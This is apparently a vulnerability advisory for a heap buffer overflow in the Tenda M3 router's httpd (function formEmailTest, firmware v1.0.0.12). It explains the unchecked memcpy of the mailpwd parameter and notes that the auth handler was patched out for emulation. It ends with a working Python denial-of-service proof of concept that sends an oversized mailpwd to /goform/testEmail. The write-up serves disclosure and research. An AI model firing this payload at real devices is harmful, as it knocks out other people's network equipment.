Tenda M3 contains heap buffer Overflow Vulnerability

overview

• type: heap buffer overflow vulnerability
• supplier: Tenda https://www.tenda.com
• product: TendaM3 https://www.tenda.com.cn/product/M3.html
• firmware download: https://www.tenda.com.cn/download/detail-3133.html
• affect version: TendaM3 v1.0.0.12(4856)

Description

1. Vulnerability Details

the httpd in directory /bin has a heap buffer overflow. The vunlerability is in fucntion formEmailTest

It calls malloc(0x28Cu) to allocate heap buffer, and it copies POST parameter mailpwd to heap buffer.

v5 is the length of mailpwd, but it doesn’t limit it. so if v5>0x28C, the memcpy(v4, v20, v5) will cause heap buffer overflow

The progarm crashed when call malloc, the stack frame is below.

2. Recurring loopholes and POC

use qemu-arm-static to run the httpd, we need to patch it before run.

• in main function, The ConnectCfm function didn’t work properly, so I patched it to NOP
• The R7WebsSecurityHandler function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

import requests

data = {
    "mailname": "@", 
    "mailpwd": "b"*0x400
}
cookies = {
    "user": "admin"
}
res = requests.post("http://127.0.0.1/goform/testEmail", data=data, cookies=cookies)
print(res.content)